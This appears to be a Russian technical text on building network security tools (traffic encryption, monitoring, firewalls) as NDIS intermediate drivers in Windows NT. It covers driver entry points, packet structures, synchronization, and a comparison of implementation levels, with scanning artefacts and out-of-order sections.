  • 1. MiniportSendPackets - функция интерфейса верхнего уровня. Она получает несколько указателей на описатели NDIS-пакетов от драйвера транспорта. Во время инициализации, перед тем, как отправлять пакеты, драйвер транспорта опрашивает параметры конфигурации и характеристики нижележащего драйвера, в том числе и то, сколько пакетов одновременно он может передавать. Эта функция должна, по меньшей мере, заменить первоначальные описатели NDIS-пакетов, полученные от драйвера транспорта, на свои собственные, сохранив первоначальные описатели, а затем отослать обновленные описатели NDIS-пакетов ниже - драйверу сетевой карты с помощью функции Ndis SendPackets.

    2. MiniportSend - функция интерфейса верхнего уровня, предназначенная для передачи по одному пакету нижележащему драйверу и требуется только в том случае, когда промежуточный драйвер не обеспечивает функцию MiniportSendPackets.

    3. ProtocolSendComplete - функция интерфейса нижнего уровня. Она является завершающей функцией для функций NdisSendPackets и NdisSend. Она получает в качестве параметра статус завершения операции отправления пакета и описатель этого отправленного пакета (обновленный описатель). Эта функция, по меньшей мере, должна просигнализировать драйверу транспорта о завершении операции отправления, передав ему первоначальный описатель отправленного пакета.

    4. ProtocolReceive - функция интерфейса нижнего уровня. Вызывается NDIS, после того как драйвер сетевой карты передал выше полученный пакет (или его часть).


    По меньшей мере, эта функция должна скопировать предоставленные ей данные во вновь созданный NDIS-пакет и передать его выше драйверу транспорта (обычно описатель этого пакета и его буфера берутся, соответственно, из очереди NDIS-пакетов и очереди буферов, созданных во время инициализации драйвера). Если драйвер сетевой карты предоставил не весь пакет, то необходимо вызвать функцию NdisTransferData для получения оставшейся части пакета.

    5. ProtocolReceivePacket - это необязательная функция интерфейса нижнего уровня. Она вовлекается в том случае, если промежуточный драйвер располагается над драйвером сетевой карты, поддерживающим многопакетное предоставление, и этот драйвер сетевой карты вызвал функцию NdisMIndicateReceivePacket либо с множеством пакетов, либо с одним пакетом, имеющим дополнительную информацию.

    6. MiniportTransferData - это функция интерфейса верхнего уровня. Она вызывается для того, чтобы передать вышележащему драйверу транспорта оставшуюся часть полученного от драйвера сетевой карты пакета, ранее не переданную в драйвер транспорта с помощью функции NdisMXxxIndicateReceive. Эта функция требуется только в том случае, если промежуточный драйвер сигнализирует о полученных пакетах вышележащим драйверам путем вызова зависящих от типа сетевой карты функций NdisMXxxIndicateReceive (вместо Ххх могут быть Ethernet, TR, Fddi). Если же промежуточный драйвер всегда передает полученные пакеты наверх с по-

    мощью вызова функции NdisMIndicateReceivePacket, то ему не надо обеспечивать функцию MiniportTransferData.

    7. ProtocolTransferDataComplete - функция интерфейса нижнего уровня и является завершающей функцией для NdisTransferData. Она вызывается библиотекой NDIS, когда драйвер сетевой карты завершит операцию передачи оставшейся части пакета, ранее не переданной в ProtocolReceive. Эта функция, по меньшей мере, должна передать драйверу транспорта начало пакета, полученного ранее в функцию ProtocolReceive, вместе с остатком, полученным только что.

    8. MiniportReturnPacket - функция интерфейса верхнего уровня и вызывается библиотекой NDIS, чтобы вернуть NDIS-пакет, который был ранее создан и предоставлен драйверу транспорта путем вызова функции NdisMIndicate ReceivePacket в функции ProtocolReceive или ProtocolReceivePacket или ProtocolTransferDataComplete.


    Эта функция должна, по меньшей мере, разобрать размещенный промежуточным драйвером NDIS-пакет и вернуть сам пакет и его буфера в соответствующие очереди, чтобы их можно было использовать в дальнейшем.


  • При изучении этих функций видно, что процедуру зашифрования надо вставить в функцию MiniportSendPackets, либо если ее нет, то в MiniportSend, а расшифрования в функции ProtocolReceive, ProtocolTransferDataComplete, ProtocolReceivePacket, ProtocolSendComplete. Ниже следуют объяснения этого утверждения.

    Зашифрование требуется перед тем, как пакеты передадутся драйверу сетевой карты для отправки в сеть, а это в промежуточном драйвере происходит в функции MiniportSendPackets, либо если ее нет, то в MiniportSend, в них и надо реализовывать процедуру зашифрования.

    С расшифрованием дела обстоят гораздо сложнее, так как в процессе получения пакета из сети в промежуточном драйвере участвуют сразу несколько функций: ProtocolReceive, ProtocolTransferDataComplete, ProtocolReceivePacket, Minipor tRetumPacket, MiniportTransferData.

    Так как в функцию ProtocolReceive может попасть не весь пакет, а только его начало, то расшифрование в этой функции осуществляется только в том случае, если в нее был передан весь пакет. Если в эту функцию попало только начало пакета, то будет вызвана функция NdisTransferData, которая заставит драйвер сетевой карты передать оставшуюся часть пакета, и тогда его расшифрование будет осуществляться в завершающей функции для функции NdisTransferData - функции ProtocolTransfer DataComplete, которая уже будет обладать полным пакетом.

    ProtocolReceivePacket необязательная функция, нужная только в том случае, если есть уверенность, что промежуточный драйвер будет располагаться над драйвером сетевой карты, имеющим способность предоставлять сразу несколько пакетов, полученных из сети. Если такой уверенности нет, то эту функцию можно не регистрировать, то есть при инициализации обнулить соответствующий указатель. Если эта функция все же реализуется, то она должна содержать процедуру расшифрования.

    Необходимость расшифрования пакетов ( в случае зашифрования первоначального пакета без его перекопирования), возвращаемых драйверу транспорта, в функции ProtocolSendComplete объясняется следующим образом. При отправлении данных из прикладной программы в сеть, переданные ею данные, проходя по стеку сетевых драйверов, не перекопируются в новые участки памяти, просто к ним добавляются разные сетевые заголовки, поэтому при зашифровании данных пакета в функции MiniportSendPackets или MiniportSend (если не создавался новый пакет и первоначальный не перекопировался в него) шифруются на самом деле данные в буфере, принадлежащем приложению, а оно вовсе может и не рассчитывать на это. Может даже произойти следующее: если ключ шифрования не изменять, то при повторной посылке данных в сеть, эти данные, наоборот, расшифруются и пойдут по сети в открытом виде. Чтобы избежать этой неприятности, необходимо, перед возвращением отправленного пакета драйверу транспорта со статусом операции отправления, расшифровать его.

    Функция MiniportTransferData предназначена для того, чтобы передавать драйверу транспорта оставшуюся часть полученного от драйвера сетевой карты пакета, ранее не переданную в драйвер транспорта с помощью функции NdisMXxxIndicateReceive. Но если промежуточный драйвер всегда передает полученные пакеты наверх с помощью вызова функции NdisMIndicateReceivePacket, то ему не надо обеспечивать функцию MiniportTransferData.

    При разработке драйвера шифрования важно помнить, что цепь NDIS-буферов в NDIS-пакете не всегда точно соответствует сетевым заголовкам (Ethernet, IP, TCP/UDP). NDIS-пакеты, передаваемые из драйвера протокола, например TCP/IP, в промежуточный драйвер для отправки, могут иметь очень разнообразную структуру, то есть разное количество NDIS-буферов и их содержимое. Вот лишь некоторые примеры (смотри Рисунок 31), которые удалось пронаблюдать с помощью программы-отладчика Soft Ice. (Разделение означает различные NDIS-буфера, заметьте, что Ethernet заголовок уже пристроен к пакету драйвером протокола ТСРЛР.)

    При разборе пакета перед зашифрованием (чтобы определить, например, следует ли его шифровать) нужно учитывать, что данные пользователя и сетевые заголовки могут находиться в разных участках памяти, а иногда и вместе (в пакетах протокола ARP_RARP).

    При разработке драйвера шифрования полезно использовать анализатор протоколов, например, Network Monitor, наблюдая с его помощью содержимое перехваченных пакетов. Если его драйвер-перехватчик, под названием bh.sys, привязать к реальной сетевой карте, то перехваченные им пакеты будут зашифрованными. Если же его привязать к виртуальной сетевой карте, создаваемой промежуточным драйвером шифрования, то перехваченные им пакеты будут уже расшифрованными.

    Структуры NDIS-пакетов

    Рисунок . 31. Структуры NDIS-пакетов

    Структуры NDIS-пакетов





    Синхронизация

    Синхронизация

    NDIS предоставляет механизм спин-блокировок, который может быть использован, чтобы синхронизировать доступ к общим ресурсам между потоками, имеющими одинаковый приоритет. Если два потока исполняются с различными приоритетами, то NDIS обеспечивает механизм временного повышения приоритета потока с более низким приоритетом. Любая функция драйвера, разделяющая ресурсы с процедурой ISR этого же драйвера, должна иметь возможность повышения своего IRQL до DIRQL, этот механизм обеспечивается NDIS.

    Также NDIS предоставляет механизм извещения, необходимый в том случае, если исполнение потока зависит от появления события вне этого потока. Например, драйвер может нуждаться в механизме предупреждения об истечении какого-то периода времени, чтобы он мог проверить свои устройства. Или драйвер сетевой карты может выполнять периодический опрос сетевой карты. Этот механизм обеспечивают таймеры.

    Спин-блокировка (Spin Lock). Поток должен сначала захватить спин-блокировку, прежде чем пытаться получить доступ к защищаемым ресурсам. Спин-блокировка удерживает все потоки, кроме одного потока-владельца спин-блокировкой, от использования ресурсов. Другие потоки ждут освобождения спин-блокировки. Сетевые драйверы должны минимизировать время захвата спин-блокировки.

    Функции для работы со спин-блокировками:
    VOID NdisAllocateSpinLock (IN PNDIS_SPIN_LOCK SpinLock);

    VOID NdisAcquireSpinLpck (IN PNDIS_SPIN_LOCK SpinLock);

    VOID NdisReleaseSpinLock (IN PNDIS_SPIN_LOCK SpinLock);

    VOID NdisFreeSpinLock (IN PNDIS_SPIN_LOCK SpinLock);
    Таймер. Драйвер создает таймер и ассоциирует с ним функцию, которая вызывается, когда истекает определенный период времени. Таймер может быть одноразовым (сработать один раз) или периодическим. Периодические таймеры срабатывают до тех пор, пока не будут сброшены.

    Таймеры создаются и инициализируются путем вызова функции NdisMInitialize Timer, и устанавливаются с помощью вызова NdisMSetTimer, или (если это периодический таймер) с помощью вызова функции NdisMSetPeriodic Timer. Функция NdisMCancelTimer сбрасывает таймер.

    События (Events). События обеспечивают механизм синхронизации исполнения потоков. Один поток инициализирует событие с помощью вызова NdisInitializeEvent. Другой поток (или тот же самый), исполняемый с приоритетом PASSIVE_LEVEL, может вызвать функцию NdisWaitEvent, чтобы усыпиться до момента возникновения события, либо до истечения определенного им промежутка времени (что произойдет быстрее). Событие устанавливается и сбрасывается с помощью функций NdisSetEvent и NdisResetEvent соответственно.




    Сравнительный анализ способов реализации защиты

    Сравнительный анализ способов реализации защиты

    В табл. 11 дается сравнительный анализ реализаций средств защиты относительно следующих факторов:
  • 1. Объем контролируемых данных. Этот фактор определяет, какие данные проходят через средство защиты, и, следовательно, могут им контролироваться и обрабатываться.

    2. Сложность реализации. Определяет сложность реализации средства защиты, как с точки зрения ее недокументированности, так и сложности отладки. Этот фактор оценивается по 3-х бальной шкале: высокая, средняя, низкая. Низкая сложность означает, что при разработке средства защиты используются хорошо документированные интерфейсы и доступные средства отладки. Средняя - означает, что используются документированные интерфейсы, но отладка средства защиты уже не столь проста, в связи с тем, что данное средство исполняется в режиме ядра, а, следовательно, большинство ошибок в нем приводят к падению ОС, и, кроме того, при отладке приходится иметь дело с ассемблерным кодом. Высокая сложность означает, что к проблемам с отладкой прибавляется еще частичное или полное отсутствие документации для разработки средства защиты.

    3. Возможность встраивания защиты. Этот фактор определяет, предоставляет ли операционная система возможность встраивания средства защиты и расширения своей функциональности на данном уровне.

    4. Прозрачность защиты означает, должен ли пользователь предпринять какие-либо действия для того, чтобы защитить свои данные с помощью средства защиты.

    5. Возможности, предоставляемые ОС коду средства защиты. В зависимости от того, исполняется ли средство защиты в режиме пользователя, или в привилегированном режиме - режиме ядра, ему предоставляются различные возможности. В режиме ядра разрешено выполнение всех команд процессора и доступна системная область памяти и оборудование, тогда как в пользовательском режиме некоторые команды запрещены, а системные области памяти недоступны.


  • Структура NDIS-пакетов

    Структура NDIS-пакетов

    Драйвер протокола выделяет ресурсы под NDIS-пакеты, заполняет их данными и посылает вниз следующему NDIS-драйверу. Драйверы сетевых карт выделяют ресурсы под NDIS-пакеты, чтобы поместить в них полученные из сети данные и передать наверх соответствующим драйверам. Иногда драйвер протокола размещает NDIS-na-кет и передает его драйверу сетевой карты с требованием, чтобы драйвер сетевой карты скопировал полученные из сети данные в этот пакет. NDIS обеспечивает функции, размещающие и обрабатывающие структуры, из которых состоит NDIS-пакет.

    Описатель NDIS-пакета является структурой NDIS_PACKET, содержащей, помимо прочих, следующие поля (см. Рисунок 28):
  • 1. закрытые области данных для драйвера минипорта и драйвера протокола;

    2. флаги;

    3. число физических страниц, содержащих пакет;

    4. полную длину пакета;

    5. указатели на описатели первого и последнего буфера пакета.

  • Описатель буфера является структурой NDIS_BUFFER (в действительности, NDIS_BUFFER определяется как тип MDL), содержащей, помимо всего прочего, следующее:
  • 1. начальный виртуальный адрес буфера;

    2. смещение буфера относительно страницы;

    3. длину буфера в байтах;

    4. указатель на описатель следующего буфера (или NULL, если его нет).

  • Основные функции для работы с NDIS-пакетами и NDIS-буферами:
  • 1) NdisAllocatePacketPool - размещает и инициализирует пространство для пула описателей пакетов;

    2) NdisAllocatePacket - размещает и инициализирует описатель пакета;

    3) NdisReinitializePacket - удаляет все присоединенные буфера из пакета и инициализирует его для повторного использования;

    4) NdisCopyFromPacketToPacket;

    5) NdisQueryPacket - возвращает информацию о «шкете;

    6) NdisFreePacket;

    7) NdisAllocateBufferPool - возвращает указатель, с помощью которого затем можно разместить описатели буферов, вызвав NdisAllocateBufFer;

    8) NdisAllocateBuffer-создает описатель буфера;

    9) NdisChainBufferAtBack (NdisChainBufferAtFront) - присоединяет описатель буфера в хвост (в начало) цепи описателей буферов, присоединенных к пакету;

    10) NdisCopyBuffer; И) NdisFreeBuffer;

    12) NdisGetFirstBufferFromPacket - возвращает указатель на буфер первый в цепи буферов пакета;

    13) NdisUnchainBufferAtBack, NdisUnchainBufferAtFront.


  • Сравнительный анализ реализаций средств защиты

    Таблица 11. Сравнительный анализ реализаций средств защиты


    Реализация защиты на уровне:
    Объем контролируемых данных
    Сложность реализации
    Возможность встраивания защиты
    Прозрачность защиты
    Возможности, предоставляемые ОС
    Приложения
    Только данные самого приложения
    Низкая
    Да
    -
    Минимальные
    Собствен ной DLL
    Данные приложений, использующих эту DLL
    Низкая
    Да
    Минимальные
    Системной DLL
    Данные приложений, использующих сис темную DLL
    Высокая
    Нет
    +
    Зависит от способа реализации
    Сетевого сервиса
    Зависит от сетевого сервиса
    Высокая
    Нет
    +
    Зависит от способа реализации
    "Родного" API
    Данные всех прило- жений
    Высокая
    Нет
    +
    Максимальные
    Драйвера файловой системы
    Данные приложений, использующих соот- ветствующее сетевое API
    Высокая
    Да
    +
    Максимальные
    Транс- портного драйвера
    Данные приложений, использующих этот транспорт + приложений, взаимодействующих с др. транспорта напрямую
    Высокая
    Да
    +
    Максимальные
    Драйвера Ndis.sys
    Данные всех приложений
    Высокая
    Нет
    +
    Максимальные
    Промежуточного драйвера
    Данные приложений, использующих транспорты, привя- занные снизу к этому промежуточному драйверу + приложе- ний, взаимодейст- вующих с промежу- точным драйвером напрямую
    Средняя
    Да
    +
    Максимальные
    Драйвера сетевого устройства
    Данные всех приложений
    Средняя
    Да
    +
    Максимальные

    Средства защиты уровня ядра могут использовать внутренние интерфейсы для взаимодействия с компонентами исполнительной системы. Модуль защиты, исполняющийся в режиме ядра, может повышать или понижать текущий IRQL процессора, маскируя тем самым прерывания с равными или меньшими IRQL.

    Модуль защиты, исполняющийся в режиме пользователя, не может получить доступа к системным данным иначе, как, вызвав предоставляемые операционной системой функции, которые в свою очередь вызывают системные сервисы, осуществив предварительную проверку параметров вызова.

    Следовательно, относительно этого фактора логично оценивать средства защиты по 2-х бальной системе: если средство защиты реализуется как компонент уровня ядра, то ему будут предоставлены максимальные возможности со стороны ОС, если средство защиты реализуется как компонент уровня пользователя, то - минимальные.

    Если для реализации защиты на уровне системной DLL или сетевого сервиса был разработан компонент, исполняющийся в режиме ядра, то это средство защиты также может использовать максимальные возможности, предоставляемые ОС. Для реализации защиты на уровне «родного» API в любом случае должен использоваться компонент уровня ядра.



    Необходимо реализовать программу, обеспечивающую безопасный

    Таблица 12


    Требования к системе безопасности
    Рекомендуемый уровень реализации средства защиты
    Необходимо реализовать программу, обеспечивающую безопасный обмен данными по компьютерной сети
    Реализация на уровне приложения и DLL
    Необходимо обеспечить безопасный обмен данными по сети между приложениями, использующими конкретное сетевое API или контроль доступа к сетевому API
    Реализация на уровне системной DLL, предоставляющей этот API, или на уровне "родного" API, или на уровне соответствующего драй- вера файловой системы
    Необходимо обеспечить контроль доступа к сетевым сервисам
    Реализация на уровне сетевого сервиса (которая сводится к реализации защиты на уровне системной DLL rpcrt4 или "родного" API) или реализация на уровне сетевых драйверов для контроля адресов
    Необходимо обеспечить безопасный обмен данными по сети между приложениями, использующими конкретный транспортный протокол, или анализ трафика по этому протоколу
    Реализация на уровне драйвера ndis.sys или драйвера транспорта или промежуточного драйвера или драйвера устройства
    Необходимо обеспечить безопасный обмен данными по сети между любыми приложениями, или анализ всего трафика в сети
    Реализация на уровне драйвера ndis.sys или промежуточного драй- вера или драйвера устройства



    Точка входа DriverEntry

    Точка входа DriverEntry

    Точка входа DriverEntry промежуточного драйвера должна по крайней мере:
  • 1. вызвать NdisMInitializeWrapper и сохранить возвращенный описатель NdisWrapperHandle\

    2. вызвать функцию NdisIMRegisterLayeredMiniport, чтобы зарегистрировать свои точки входа MiniportA3cc;

    3. вызвать функцию NdisRegisterProtocol, чтобы зарегистрировать свои точки входа ProtocoLEcc (если драйвер привязывается к нижележащему NDIS-драйверу);

    4. вызвать функцию NdisIMAssociateMiniport, чтобы информировать библиотеку NDIS о том, что определенные ранее интерфейсы нижнего и верхнего уровней для минипорта и протокола соответственно, принадлежат одному и тому же промежуточному драйверу.

  • DriverEntry может инициализировать спин-блокировки для любых глобальных разделяемых ресурсов, размещаемых промежуточным драйвером.



    Точки входа MiniportXxx

    Точки входа MiniportXxx

    Возможные обязательные и необязательные функции минипортовой части промежуточного драйвера перечислены ниже (подробное их описание смотри в DDK):
  • 1. MiniportHalt - эта функция вызывается библиотекой NDIS, например, когда нижележащая сетевая карта зависла, и NDIS останавливает драйвер сетевой карты, или, например, когда ОС выполняет контролируемое закрытие системы.

    2. Miniportlnitialize - эта функция вызывается в результате вызова промежуточным драйвером функции NdisIMInitializeDevicelnstance, чтобы инициализировать ми-нипортовые операции для инициализируемой виртуальной сетевой карты.

    3. MiiuportQuerylnformation - эта функция получает запросы вида ОID_ХХХ, организованные (или просто передаваемые далее) вышележащим драйвером, вызвавшем NdisRequest с типом запроса NdisRequestQuerylnformation.

    4. MiniportReset. NDIS может вызвать эту функцию промежуточного драйвера по приказу вышележащего драйвера протокола, вызвавшего NdisReset. Обычно, однако, драйвер протокола не инициирует сброс. NDIS, главным образом, инициирует сброс нижележащего драйвера сетевой карты и вызывает функции промежуточного драйвера ProtocolStatus и ProtocolStatusComplete, для того, чтобы информировать промежуточный драйвер о том, что нижележащий минипорт сбрасывает свою сетевую карту.

    5. MiniportSetlnformation. Эта функция обрабатывает запросы вида OID_ХХХ, сделанные (или просто передаваемые далее) вышележащим драйвером, который вызвал NdisRequest с типом запроса NdisRequestSet Information.

    6. MiniportSend. NDIS вызывает эту функцию для передачи одного пакета для нижележащего драйвера сетевой карты (или драйвера устройства). Функция MiniportSend (или функция MiniportWanSend) требуется, если промежуточный драйвер не обеспечил функцию MiniportSendPackets. Но лучше, чтобы всегда обеспечивалась функция MiniportSendPackets, чем функция MiniportSend (если только промежуточный драйвер не располагается всегда между драйверами, передающими по одному пакету за раз, или, если он не привязывается к нижележащему WAN NIC драйверу).

    7. MiniportSendPackets. Эта функция получает массив из одного или более указателей на описатели пакетов для передачи в сеть. Лучше, чтобы каждый промежуточный драйвер обеспечивал функцию MiniportSendPackets, чем MiniportSend, если только он не привязывается к нижележащему WAN NIC драйверу, и должен при этом обеспечить функцию MiniportWanSend. Функция MiniportSendPackets обеспечивает лучшую производительность в независимости от того, располагается ли промежуточный драйвер над драйвером сетевой карты, который может передавать по несколько пакетов за раз, или только по одному пакету. И вне зависимости от того, располагается ли промежуточный драйвер под драйвером протокола, отправляющим по несколько пакетов за раз, или только по одному пакету.

    8. MiniportTransferData. Эта функция вызывается, чтобы передать оставшуюся часть полученного из сети пакета, ранее представленного в буфере lookahead, переданном промежуточным драйвером в функцию NdisMA!ja:Indicate Receive. Этот пакет может быть конвертированным пакетом, полученным перед этим в

    функции промежуточного драйвера ProtocolReceive или ProtocolReceivePacket. Функция MiniportTransferData требуется, если промежуточный драйвер представляет вышележащим драйверам полученные из сети пакеты путем вызова любой зависимой от среды функции NdisMA'Jalndicate Receive, кроме NdisMWan IndicateReceive. Если промежуточный драйвер всегда представляет пакеты путем вызова NdisMIndicateReceivePacket, то ему не нужно обеспечивать функцию MiniportTransferData.

    9. MiniportReturnPacket. Эта функция получает возвращенный описатель пакета, который перед этим был представлен вышележащему драйверу путем вызова NdisMIndicateReceivePacket, тем самым возвращается контроль над ресурсами, представленными вышележащему драйверу. После того как каждое такое представление было обработано вышележащим драйвером, описатель пакета, размещенный промежуточным драйвером, и ресурсы, которые он описывает, будут возвращены функции MiniportReturnPacket, Функция Miniport ReturnPacket не нужна, если промежуточный драйвер всегда представляет пакеты наверх путем вызова зависящей от среды функции NdisMA3cdndicate Receive, или, если он всегда устанавливает статус в блоке данных ООВ, ассоциированном с каждым описателем пакета, в NDIS_STATUS_ RESOURCES, прежде чем вызвать NdisMIndicateReceivePacket.

    10. MiniportCheckForHang. Эта функция вызывается через интервал времени, определенный библиотекой NDIS или промежуточным драйвером. Обычно, промежуточным драйверам не обязательно реализовать функцию MiniportCheckForHang, потому что подробные драйверы не могут удостовериться, что нижележащая сетевая карта зависла. Возможно, промежуточному драйверу следует обеспечить эту функцию, если он располагается над драйвером, не поддерживающим среду NDIS, чье состояние не доступно библиотеке NDIS.





  • Точки входа промежуточного NDIS- драйвера

    Точки входа промежуточного NDIS- драйвера

    Промежуточный NDIS-драйвер обычно экспортирует функции MiniportXxx на своем верхнем уровне и функции ProtocolXxx на своем нижнем уровне (см. Рисунок 29).

    Реже промежуточный драйвер может экспортировать MiniportXxx функции на своем верхнем уровне, а в своей нижней части предоставлять частный закрытый интерфейс нижележащему драйверу, не являющемуся NDIS-драйвером. Например, промежуточный драйвер может управлять сетевыми запросами ввода/вывода для устройства, соединенного с последовательным портом. Подобный промежуточный драйвер будет экспортировать ряд функций MiniportXxx, чтобы взаимодействовать с NDIS в своей верхней части, а в своей нижней части использовать стандартные пакеты запроса ввода/вывода (IRP), чтобы взаимодействовать с драйвером последовательного устройства.

    Если реализуемый промежуточный драйвер должен поддерживать ориентированный на соединение (Connection-Oriented) интерфейс нижнего уровня, либо поддерживать работу с NDISWAN, то необходимо реализовать как ряд дополнительных точек входа, так и изменить некоторые из описанных в этом разделе точек входа.

    Точки входа ProtocolXxx

    Точки входа ProtocolXxx

    Возможные обязательные и необязательные функции протокольной части промежуточного драйвера перечислены ниже (подробное их описание смотри в DDK):
  • 1. ProtocolBindAdapter - обязательная функция, вызываемая NDIS, чтобы попросить промежуточный драйвер привязаться к нижележащей реальной или виртуальной сетевой карте, чье имя передано в качестве параметра этой функции.

    2. ProtocolUnbindAdapter - обязательная функция, вызываемая NDIS, чтобы закрыть соединение с нижележащей реальной или виртуальной сетевой картой, чье имя передано в качестве параметра этой функции.

    3. ProtocolOpenAdapterComplete - обязательная функция. Если вызов функции NdisOpenAdapter промежуточным драйвером привел к возврату статуса NDIS_STATUS_ PENDING, то в последствии будет вызвана функция ProtocolOpenAdapterComplete, чтобы завершить присоединение.

    4. ProtocolCIoseAdapterComplete - обязательная функция. Если вызов функции NdisCloseAdapter промежуточным драйвером привел к возврату статуса NDIS_ STATUS_PENDING, то в последствии будет вызвана функция ProtocolClose Adapter-Complete, чтобы завершить отсоединение.

    5. ProtocoIReceive - обязательная функция. ProtocolReceive вызывается с указателем на буфер lookahead, содержащий данные, полученные из сети. Если этот буфер содержит не весь сетевой пакет, то ProtocolReceive вызывает NdisTransferData с описателем пакета для того, чтобы получить оставшуюся часть сетевого пакета. Если нижележащий драйвер вызвал NdisMIndicateReceive Packet для указания о получение сетевого пакета, то буфер lookahead, переданный ProtocolReceive, всегда будет содержать весь сетевой пакет.

    6. ProtocolReceivePacket - необязательная функция. Обеспечивается, если промежуточный драйвер будет располагаться над драйвером сетевой карты, который передает сразу массив указателей на один или более описателей пакетов, или если драйвер сетевой карты передает дополнительные данные вместе с индикацией получения с помощью вызова NdisMIndicateReceivePacket. Если разработчик неуверен в среде, в которой будет исполняться его промежуточный драйвер, то эта функция должна быть обеспечена, потому что тогда промежуточный драйвер достигнет большей производительности, если нижележащий драйвер сетевой карты производит мультипакетную индикацию получения.

    7. ProtocolReceiveComplete - это обязательная функция. Она вызывается, если обработка какого-либо из пакетов, попавших перед этим в ProtocolReceive, была отложена.

    8. ProtocoITransferDataComplete - это обязательная функция, если ProtocolReceive когда-либо вызывает NdisTransferData. Если предыдущий вызов NdisTransferData с просьбой скопировать оставшуюся часть полученного пакета вернул статус NDIS_STATUS_PENDING, то ProtocoITransferDataCompIete вызовется, когда операция передачи оставшейся части будет завершена.

    9. ProtocolResetComplete - это обязательная функция. Она вызывается, если операция сброса, начатая с помощью вызова функции NdisReset, вернувшей статус NDIS_STATUS_PENDING, была завершена. Обычно промежуточные драйверы не вызывают NdisReset, но драйверы выше их могут вызвать эту функцию, таким образом, промежуточный драйвер должен суметь передать такой запрос нижележащим NDIS-драйверам.

    10. ProtocolRequestComplete - это обязательная функция. Она вызывается по завершении операции получения/установки параметров, начатой с помощью вызова функции NdisRequest, вернувшей статус NDIS_STATUS_PENDING.

    11. ProtocolSendComplete - обязательная функция. Она вызывается для каждого пакета, переданного с помощью вызова функции NdisSend, вернувшей статус операции отправки NDIS_STATUS_PENDING. Если был отослан сразу массив пакетов путем вызова NdisSendPackets, то ProtocolSendComplete будет вызвана для каждого пакета из массива. Промежуточный драйвер может определить окончательный статус операции отправки только из параметра статуса у функции ProtocolSendComplete.

    12. ProtocoIStatus - обязательная функция. Она вызывается библиотекой NDIS для сообщения об изменении статуса, инициированного нижележащим драйвером сетевой карты.

    13. ProtocoIStatusComplete - обязательная функция. Она вызывается библиотекой NDIS, чтобы сигнализировать, что изменение статуса, о котором перед этим сообщалось в ProtocoIStatus, теперь завершилось.

    14. ProtocolPnPEvent - это обязательная функция. NDIS вызывает ProtocolPn PEvent, чтобы сигнализировать о событии Plug and Play или о событии управления питанием.

    15. ProtocolUnload - это необязательная функция. NDIS вызывает ProtocolUnload в ответ на требование пользователя удалить промежуточный драйвер. ProtocolUnload выполняет определенные драйвером операции удаления.





  • Возможности реализации средств защиты сетевой информации на пользовательском уровне

    Возможности реализации средств защиты сетевой информации на пользовательском уровне

    Рассмотрим особенности реализации средств защиты на различных уровнях сетевой архитектуры ОС Windows NT. Под реализацией защиты на каком-либо уровне понимается следующее: можно ли с помощью разработки компоненты этого уровня осуществить функции защиты сетевой информации, и возможно ли реализовать средство защиты, которое, воздействуя каким-либо образом на уже существующие компоненты данного уровня, сможет осуществлять функции защиты.

    К функциям защиты сетевых ресурсов, прежде всего, относятся:
  • Шифрование сетевого трафика.

  • Пассивный мониторинг сетевых пакетов, либо, на более высоком уровне, пассивный мониторинг доступа к сетевым системным DLL и сетевым сервисам.

  • Активный мониторинг сетевых пакетов, то есть мониторинг и фильтрация нежелательных пакетов (на более высоком уровне — мониторинг и фильтрация запросов к сетевым системным DLL и сетевым сервисам).

  • Комбинируя перечисленные функции, можно получить любой класс системы безопасности - от простого шифрования данных приложения перед их отправкой в сеть, до брандмауэра с возможностями поддержки виртуальных соединений.



    Возможности реализации средств защиты сетевой информации на уровне ядра

    С этого момента начинается анализ сетевых компонент, исполняющихся в привилегированном режиме - режиме ядра, и являющихся драйверами. Прежде чем переходить к дальнейшему рассмотрению того, как и куда сетевая архитектура Windows NT позволяет встраивать модули защиты на уровне ядра, необходимо вспомнить механизм драйверов-фильтров (см. раздел «Реализация драйверов-фильтров»), который может использоваться в качестве средства защиты на любом уровне в стеке драйверов.




    Завершающие функции

    Завершающие функции

    Множество функций интерфейса верхнего уровня драйвера сетевой карты и функций интерфейса нижнего уровня драйвера протокола разработаны для поддержки .асинхронных операций. Чтобы не тратить бесполезно такты процессора, ожидая в цикле завершения какой-нибудь длительной операции или сигнала от устройства, сетевые драйверы полагаются на возможность управления большинством операций асинхронно.

    Асинхронный ввод/вывод поддерживается с помощью использования завершающих функций. Когда драйвер протокола вызывает NDIS, чтобы отправить пакет (что приводит в результате к вызову функции MiniportSend в драйвере сетевой карты), драйвер сетевой карты может попытаться завершить эту передачу немедленно и вернуть в качестве результата соответствующее значение статуса операции. Для синхронных операций вероятным значением статуса могут быть NDIS_STATUS_SUCCESS (если операция завершилась успешно) и NDIS_STATUS_RESOURCES или NDIS_STATUS_ FAILURE в случае неудачи. А может, тут же вернуть управление со значением статуса операции NDIS_STATUS_PENDING.

    Но операция отправки пакета в сеть может потребовать некоторого времени для ее завершения. За это время драйвер сетевой карты (или NDIS) поставит пакет в очередь, и будет ожидать до тех пор, пока сетевая карта не просигнализирует результат операции отправки. Функция MiniportSend драйвера сетевой карты может управлять этой операцией отправки асинхронно, путем возвращения значения статуса NDIS_STATUS_ PENDING. Когда драйвер сетевой карты завершит отправку, он вызовет завершающую функцию NdisMSendComplete, передав в эту функцию указатель на отосланный NDIS-пакет. Эта информация передается драйверу протокола, сигнализируя завершение операции отправки.

    Большинство операций драйвера, которые могут потребовать продолжительного времени для их завершения, поддерживают асинхронное выполнение с простой завершающей функцией. Такие функции имеют имена вида NdisMXxxComplete. Наряду с функциями отправления и получения, завершающие функции доступны для установки и опроса параметров конфигурации, сброса устройств, индикации статуса.




    Зависимость способа реализации средства защиты от предъявляемых к нему требований

    Зависимость способа реализации средства защиты от предъявляемых к нему требований

    Выбор конкретного способа реализации системы защиты зависит от первоначально предъявляемых к этой системе требований.

    В табл. 12 перечислены наиболее часто возникающие требования к средству защиты и рекомендуемый уровень его реализации в соответствии с табл. 11.

    Из приведенного выше анализа сетевой архитектуры и сравнительной характеристики различных способов реализации средств защиты сетевой информации следует, что реализации на уровне промежуточных драйверов и драйверов сетевых устройств являются наиболее предпочтительными. Даже с учетом фактора реализации дополнительной функциональности, несвойственной данному уровню относительно модели OSI, то есть, по сути дела, разработки некоторых функций драйвера транспорта.

    Разработка этих драйверов хорошо документирована, и ОС Windows NT предоставляет возможность их внедрения в стек сетевых драйверов без необходимости модификации уже существующих компонентов. Они могут взаимодействовать с компонентами исполнительной системы, ядром и HAL, получая тем самым максимальные возможности для реализации функций защиты. Эти драйверы способны контролировать весь сетевой трафик, через них проходят данные всех приложений, исполняющихся в системе.

    В результате исследования сетевой архитектуры можно сделать следующие выводы:
